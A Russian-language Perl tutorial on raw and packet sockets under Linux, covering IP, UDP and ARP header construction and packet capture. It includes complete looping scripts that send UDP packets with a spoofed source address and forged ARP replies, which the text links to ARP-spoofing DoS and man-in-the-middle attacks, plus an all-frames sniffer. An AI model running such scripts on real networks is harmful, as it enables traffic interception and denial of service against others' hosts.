Предыдущая статья | Оглавление | Следующая статья |
Данная статья попытается освятить проблему получения и отправки пакетов с использованием низкоуровневых сокетов (raw и packet) в языке программирования PERL. Предполагается, что читатель знаком с принципами работы сокетов в OS Linux и встречался с языками PERL и С. Конечно же, существуют различные модули, которые позволяют отправлять и получать пакеты с сетевого и канального уровней, но одни написаны на C (Net::RawIP), а другие используют PCAP (Net::RawIP, Net::Write, Net::Packet). В то время как PERL под операционной системой Linux способен все делать самостоятельно. Все, о чем говорится в этой статье, проверено на OS Debian с ядром 2.4.27 и ядром 2.6.18 и OS Mandrake с ядром 2.6.12. В качестве протокола сетевого уровня будет использоваться IP(4), а транспортным протоколом будет UDP(17). Для запуска предложенных примеров вам потребуются права root (для работы с низкоуровневыми сокетами приложение должно исполняться от имени пользователя с эффективным идентификатором UID=0 или иметь флаг CAP_NET_RAW). Подробнее о флаге CAP_NET_RAW можно посмотреть в man'ах (man(2) capget, man(2) capset, man(7) capabilities).
Однажды я наткнулся на довольно интересную статью. В ней рассказывалось об одном парне по имени Стив Гибсон, владельце GRC (Gibson Research Corporation). Сеть его компании подверглась DoS-атаке (хакер наводнил ее UDP-пакетами). И в этой статье часто встречалось понятие «низкоуровневых сокетов». Мне стало интересно, что же это такое. Очень способствовала этому интересу проблема, вставшая перед нашей командой. В связи с ответным матчем со сборной г.Челябинска нашей команде необходимо было написать снифер для мониторинга некоторых сетевых служб: POP3, FTP, telnet и др.. Писать для этих целей модуль к ядру или свой драйвер для сетевой карты – слишком сложно. Поэтому задача состояла в том, чтобы создать самодостаточную, т.е. не требующую установки дополнительных модулей, программу под операционную систему Linux. Решено было использовать для этих целей язык PERL. Ловить пакеты можно было, используя низкоуровневые сокеты. Вот тут-то я столкнулся с основной проблемой – в Internet очень мало информации по работе с raw и packet sockets в PERL'е. Встречается такая фраза: «Также существуют Raw socket, но о них как-нибудь в другой раз.» По правде говоря, этого «другого раза» я так и не нашел. Так и появилась данная статья.
Начнем с самого понятия socket. Как говорит Linux Programmer's Manual, socket создает "конечную точку для коммуникации и возвращает дескриптор". Для его создания служит "C-шная" функция:
int socket (int domain, int type, int protocol);
Описание:
domain – определяет семейство используемых протоколов. Мы будем использовать либо AF_INET (его синоним – PF_INET), которое определяет семейство протоколов IPv4, либо PF_PACKET, определяющее низкоуровневый packet interface.
type – определяет тип протокола, используемый внутри семейства. Выделяют несколько типов:
Теперь разберемся с тем, на каких уровнях модели OSI работают перечисленные типы протоколов. SOCK_STREAM и SOCK_DGRAM (наиболее часто используемые для них протоколы это соответственно TCP и UDP) находятся на транспортном уровне. SOCK_RAW опускается ниже и находится на сетевом уровне (будем использовать протокол IPPROTO_RAW). Ну и SOCK_PACKET'у предоставлен канальный уровень (протокол ETH_P_ALL).
Далее рассмотрим флаг IP_HDRINCL, который нам в дальнейшем будет нужен. С его помощью мы даем ядру OS знать, что наше приложение получает доступ к изменению некоторых полей заголовка IP (и всего, что выше), а именно:
Source Address | Если установлено в ноль, то заполняется нами, иначе - ядром OS. |
Packet Id | Аналогично, если там ноль, то заполняем мы, иначе - ядро. |
Total Length | Заполняется в соответствии с реальным размером пакета ядром OS. |
Если задан флаг IP_HDRINCL, и заголовок IP содержит ненулевой адрес получателя, тогда для маршрутизации пакета используется адрес получателя, заданный для сокета. За этот адрес отвечает структура sockaddr (include/linux/socket.h):
struct sockaddr { sa_family_t sa_family; /* address family, AF_xxx */ char sa_data[14]; /* 14 bytes of protocol address */ };
Всякие sockaddr_in, sockaddr_ll, sockaddr_pkt – это cделано только для простоты работы с этим самым sockaddr. С производной sockaddr (а именно sockaddr_in) связана забавная вещь: если в этой структуре указать один IP-адрес, а в пакете в поле "Destination IP" другой, то пакет все равно уходит, причем на IP-адрес, указанный в самом пакете, а не на тот, что указан в sockaddr_in.
Но вернемся к флагу... Если мы хотим отправлять пакеты с транспортного уровня, но оставить за собой возможность редактирования заголовков сетевого, то нам необходимо установить эту опцию. Протокол IPPROTO_RAW тоже предполагает наличие флага IP_HDRINCL (устанавливается с помощью функции setsockopt()), но в моей версии Linux – по умолчанию IP_HDRINCL = 1 (файл net/ipv4/af_inet.c, функция inet_create()):
if (SOCK_RAW == sock->type) { inet->num = protocol; if (IPPROTO_RAW == protocol) inet->hdrincl = 1; ...
Для работы с сокетами используется модуль Socket.pm. Он экспортирует функции, описанные в header-файле socket.h (я нашел такой файл по адресу /usr/include/linux/socket.h). В PERL для создания сокета служит функция socket(). Ее главное отличие от аналогичной функции C состоит в передаче первым параметром дескриптора будущего сокета:
socket(SOCKET, DOMAIN, TYPE, PROTOCOL);
use Socket;
socket(SOCKET, PF_INET, SOCK_RAW, getprotobyname(IPPROTO_RAW));
socket(SOCKET, PF_INET, SOCK_RAW, getprotobyname(IPPROTO_RAW)) or die "Can't open raw socket: $!\n";
Can't open raw socket: Socket type not supported
print SOCK_RAW, "\n";
print IPPROTO_RAW, "\n";
No comma allowed after filehandle
IPPROTO_RAW = 255 /* Raw IP packets*/
socket(SOCKET, PF_INET, SOCK_RAW, 255) or die "Can't open raw socket: $!\n";
use constant IPPROTO_RAW => 255;
socket(SOCKET, PF_INET, SOCK_RAW, IPPROTO_RAW) or die "Can't open raw socket: $!\n";
Когда сокет создан, можно наконец-то приступить к формированию UDP-пакета. Его мы будем инкапсулировать в IP-пакет. Для начала разберемся со структурой этих пакетов. Начнем с IP пакета (см. RFC 791):
0 1 2 3 0 1 2 3 4 5 6 7 0 1 2 3 4 5 6 7 0 1 2 3 4 5 6 7 0 1 2 3 4 5 6 7 +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ |Version| IHL |Type of Service| Total Length | +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ | Identification |Flags| Fragment Offset | +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ | Time to Live | Protocol | Header Checksum | +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ | Source Address | +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ | Destination Address | +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ | Options | Padding | +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
struct ipheader { unsigned char IP_HeaderLength:4, IP_Version:4; /*IP_HeaderLength - длина в 32-битных словах, IP_Version - версия протокола IP (IPv4) */ unsigned char IP_TypeOfService; //чаще всего не используется (пишут 0) unsigned short int IP_Length; //длина IP-датаграммы unsigned short int IP_Id; //идентификатор unsigned short int IP_Offset; //используется для фрагментированных датаграмм unsigned char IP_Ttl; //время жизни (количество прыжков) unsigned char IP_Protocol; //используемый транспортный протокол unsigned short int IP_CRC; //контрольная сумма заголовка unsigned int IP_Source; //IP-адрес источника unsigned int IP_Destination; //IP-адрес назначения }; //20 bytes
$packet = undef;
$packet .= pack("C", 69);
$packet .= pack ("H2", '00');
$packet .= pack ("n", 28);
$packet .= pack ("n", 0);
$packet .= pack ("H4", '4000');
$packet .= pack ("C", 64);
$packet .= pack ("C", getprotobyname('udp'));
$packet .= pack ("n", 0);
$source_ip = '127.0.0.1'; $result_source_ip = undef; for (split('\.', $source_ip)){ #разбиваем по точкам $result_source_ip .= pack ("C", $_) } $packet .= $result_source_ip;
$destination_ip = '192.168.139.1'; $result_destination_ip = undef; for (split('\.', $destination_ip)){ #разбиваем по точкам $result_destination_ip .= pack ("C", $_) } $packet .= $result_destination_ip;
0 7 8 15 16 23 24 31 +--------+--------+--------+--------+ | Source | Destination | | Port | Port | +--------+--------+--------+--------+ | | | | Length | Checksum | +--------+--------+--------+--------+ | | | data octets | +-----------------------------------+
struct udpheader { unsigned short int UDP_SourcePort; //порт источника unsigned short int UDP_DestinationPort; //порт назначения unsigned short int UDP_Length; //длина заголовка UDP + данные unsigned short int UDP_CRC; //контрольная сумма UDP (можно писать ноль) }; //8 bytes
$packet .= pack ("n", 25); #порт источника $packet .= pack ("n", 80); #порт назначения
packet .= pack ("n", 8);
$packet .= pack ("H4", '0000');
send (socket, message, flags, destination?);
Поле "destination" является необязательным. Оно используется, если локальный сокет не соединен с удаленным (это как раз наш случай). Необходимо явно указать упакованный адрес "destination". Для упаковки пользуются структурой sockaddr, но для удобства воспользуемся её производной sockaddr_in. Существенно облегчает нашу жизнь то, что функция, при помощи которой можно заполнить эту структуру, уже определена в модуле Socket.pm. Как это ни удивительно, но функция эта тоже носит название sockaddr_in. В параметрах ей передается порт и адрес назначения. Адрес назначения должен быть представлен в сетевом виде. Для этого воспользуемся функцией inet_aton ($param). В итоге получим:
$iaddr = inet_aton ('192.168.139.1'); $paddr = sockaddr_in (80, $iaddr); #80 – порт назначения
send(SOCKET, $packet, 0, $paddr) or die "Can't send packet: $!\n";
#!/usr/local/bin/perl use Socket; use constant IPPROTO_RAW => 255; $iaddr = inet_aton ('192.168.139.1'); $paddr = sockaddr_in (80, $iaddr); #80 - порт назначения socket(SOCKET, PF_INET, SOCK_RAW, IPPROTO_RAW) or die "Can't open raw socket: $!\n"; $packet = undef; $packet .= pack("C", 69); $packet .= pack ("H2", '00'); $packet .= pack ("n", 28); $packet .= pack ("n", 0); $packet .= pack ("H4", '4000'); $packet .= pack ("C", 64); $packet .= pack ("C", getprotobyname('udp')); $packet .= pack ("n", 0); $source_ip = '207.46.197.32'; $result_source_ip = undef; for (split('\.', $source_ip)){ #разбиваем по точкам $result_source_ip .= pack ("C", $_) } $packet .= $result_source_ip; $destination_ip = '192.168.139.1'; $result_destination_ip = undef; for (split('\.', $destination_ip)){ #разбиваем по точкам $result_destination_ip .= pack ("C", $_) } $packet .= $result_destination_ip; $packet .= pack ("n", 25); #порт источника $packet .= pack ("n", 80); #порт назначения $packet .= pack ("n", 8); $packet .= pack ("H4", '0000'); while(){ send(SOCKET, $packet, 0, $paddr) or die "Can't send packet: $!\n"; sleep 1; #поспим некоторое время, чтобы не сильно DoS'ить сеть. }
Итак, работать с raw sockets мы более-менее научились. Теперь пришло время для самого интересного и захватывающего!!! Мы будем учиться работать с paсket sockets, которые используются для приема и передачи необработанных пакетов на канальном уровне, т.е. мы сможем сами собирать пакет со всеми заголовками, включая заголовки Ethernet. Никаких границ, полная свобода, творческий полет. Можно отправлять в сеть все, что хочется. Интригующе, не так ли? Но приступим к делу.
Для начала немного теории. Как гласит "Linux Programmer's Manual", packet sockets используются для получения или отправки «сырых» пакетов с канального уровня. Пакеты при этом передаются и принимаются от драйвера устройства без каких-либо изменений в данных. При передаче пакета полученный от пользователя буфер должен содержать заголовок канального уровня. Такой пакет передается без изменений драйверу сетевого интерфейса, указанного в поле адреса получателя. Далее – пакет уходит в сеть. Вроде бы звучит несложно. Посмотрим, как оно на самом деле. Для начала попробуем реализовать прием пакетов с сетевой карты.
use Socket;
socket(SOCKET, PF_PACKET, SOCK_PACKET, $protocol);
#define ETH_P_ALL 0x0003 /* Every packet (be careful!!!)*/
socket (SOCKET, PF_PACKET, SOCK_PACKET, ETH_P_ALL) or die "Can't open packet socket: $!\n";
Can't open packet socket: Address family not supported by protocol
#define PF_PACKET AF_PACKET
#define AF_PACKET 17
use constant PF_PACKET => 17;
#define SOCK_PACKET 10 /*linux specific way of getting packets at the dev level*/
use constant SOCK_PACKET => 10;
use constant ETH_P_ALL => 0x0003;
recv (socket, buffer, length, flags);
#!/usr/bin/perl use Socket; use constant PF_PACKET => 17; use constant SOCK_PACKET => 10; use constant ETH_P_ALL => 0x0003; socket (SOCKET, PF_PACKET, SOCK_PACKET, ETH_P_ALL) or die "Can't open packet socket: $!\n"; while (){ recv (SOCKET, $buf, 1514, 0); #читаем пакет print unpack ("H*", $buf), "\n\n"; #и выводим его в hex }
#include <linux/socket.h> #include <asm/socket.h> #include <linux/if_ether.h> int sock = socket (PF_PACKET, SOCK_PACKET, ETH_P_ALL); char buffer[1514]; //размер кадра Ethernet while (read (sock, buffer, 1514) > 0) printf ("I catch packet\n");
Теперь у нас есть программа, способная захватывать Ethernet-кадры. Но мы еще не умеем отправлять их, мы пока не обладаем тем могуществом, которым обладают люди, умеющие отправлять в сеть произвольные пакеты. Так давайте научимся этому.
Подопытным протоколом пусть будет протокол ARP – Address Resolution Protocol (RFC 826). Этот протокол занимается разрешением IP-адреса в MAC-адрес в сети Ethernet.
0 1 2 3 0 1 2 3 4 5 6 7 0 1 2 3 4 5 6 7 0 1 2 3 4 5 6 7 0 1 2 3 4 5 6 7 +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ | Hardware type | Protocol type | +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ | Hardware size | Protocol size | Operation code | +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ | Sender MAC Address | +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ | Sender MAC Address | Sender IP Address | +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ | Sender IP Address | Target MAC Address | +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ | Target MAC Address | +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ | Target IP Address | +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
С этим протоколом связана известная атака, носящая название ARP-spoofing. Эта атака может использоваться для DoS'а ("отказ в обслуживании"): атакующий отправляет хосту поддельный ответ ARP, в результате IP-адресу маршрутизатора подсети ставится в соответствие несуществующий МАС-адрес. Доверившись этой информации, хост оказывается изолированным. Те кадры, которые он после этого отправляет в другой сегмент, не могут его покинуть. Второе назначение этой атаки – Man-in-the-middle (MITM).
Попробуем проделать что-то подобное. Наша задача заключается в отправке ответа ARP с произвольными MAC и IP-адресами. Приступим к ее реализации.
use Socket;
use constant PF_PACKET => 17; use constant SOCK_PACKET => 10; use constant ETH_P_ALL => 0x0003;
use constant ARP => 0x0806;
socket (SOCKET, PF_PACKET, SOCK_PACKET, ETH_P_ALL) or die "Can't open packet socket: $!\n";
0 1 2 3 0 1 2 3 4 5 6 7 0 1 2 3 4 5 6 7 0 1 2 3 4 5 6 7 0 1 2 3 4 5 6 7 +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ | Target MAC Address | +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ | Target MAC Address | Sender MAC Address | +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ | Sender MAC Address | +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ | Type | +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
$packet = undef;
@split = split (':', '00:01:02:03:04:05'); $packet .= pack ('H*', join ('',@split));
@split = split (':', '06:05:04:03:02:01'); $packet .= pack ('H*', join ('',@split));
$packet .= ARP;
$packet .= pack ("H4", '0001');
$packet .= pack ("H4", '0800');
$packet .= pack ("C", 6);
$packet .= pack ("C", 4);
$packet .= pack ("H4", '0002');
@split = split (':', '06:05:04:03:02:01'); $packet .= pack ('H*', join ('',@split)); $source_ip = '10.0.0.254'; $result_source_ip = undef; for (split('\.', $source_ip)){ #разбиваем по точкам $result_source_ip .= pack ("C", $_) } $packet .= $result_source_ip; @split = split (':', '00:01:02:03:04:05'); $packet .= pack ('H*', join ('',@split)); $destination_ip = '10.0.0.11'; $result_destination_ip = undef; for (split('\.', $destination_ip)){ #разбиваем по точкам $result_destination_ip .= pack ("C", $_) } $packet .= $result_destination_ip;
struct sockaddr_ll{ unsigned short sll_family; //семейство протоколов unsigned short sll_protocol;//используемый протокол (будем использовать ETH_P_IP - 0800) int sll_ifindex; //индекс сетевого устройства unsigned short sll_hatype; //идентификатор оборудования (Ethernet). Например, ARPHRD_ETHER. unsigned char sll_pkttype; //тип пакета. Например, PACKET_OTHERHOST - назначение - другой хост unsigned char sll_halen; //длина адреса (ETH_ALEN - MAC-адрес Ethernet) unsigned char sll_addr[8]; //MAC-адрес };
struct sockaddr { sa_family_t sa_family; //семейство протоколов char sa_data[14]; //14 байтов на описание этого семейства... };
$addr = PF_PACKET; #семейство $iface = "eth0"; #используемое устройство $socket = pack ('Sa14', $addr, $iface); #упаковываем все это в структуру send(SOCKET, $packet, 0, $socket) or die "Can't send packet:$!\n";
#!/usr/bin/perl use Socket; use constant PF_PACKET => 17; use constant SOCK_PACKET => 10; use constant ETH_P_ALL => 0x0003; use constant ARP => 0x0806; socket (SOCKET, PF_PACKET, SOCK_PACKET, ETH_P_ALL) or die "Can't open packet socket: $!\n"; $addr = PF_PACKET; $iface = "eth0"; $socket = pack("Sa14", $addr, $iface); $packet = undef; @split = split (':', '00:01:02:03:04:05'); $packet .= pack ("H*", join ('',@split)); $#split = -1; @split = split (':', '06:05:04:03:02:01'); $packet .= pack ("H*", join ('',@split)); $#split = -1; $packet .= ARP; $packet .= pack ("H4", '0001'); $packet .= pack ("H4", '0800'); $packet .= pack ("C", 6); $packet .= pack ("C", 4); $packet .= pack ("H4", '0002'); @split = split (':', '06:05:04:03:02:01'); $packet .= pack ("H*", join ('',@split)); $source_ip = '10.0.0.254'; $result_source_ip = undef; for (split('\.', $source_ip)){ #разбиваем по точкам $result_source_ip .= pack ("C", $_) } $packet .= $result_source_ip; @split = split (':', '00:01:02:03:04:05'); $packet .= pack ("H*", join ('',@split)); $destination_ip = '10.0.0.11'; $result_destination_ip = undef; for (split('\.', $destination_ip)){ #разбиваем по точкам $result_destination_ip .= pack ("C", $_) } $packet .= $result_destination_ip; while( 1 ){ send (SOCKET, $packet, 0, $socket) or die "Can't send packet:$!\n"; sleep (1); }
Итак, мы научились работать с raw и packet sockets на языке PERL. И хотя PERL – скриптовый язык, сокеты в нем – достаточно мощное оружие. Но, к сожалению, для работы с низкоуровневыми сокетами он не очень активно используется. Возможно, дело в отсутствии документации и удобных модулей для работы с ними.
Предыдущая статья | Оглавление | Следующая статья |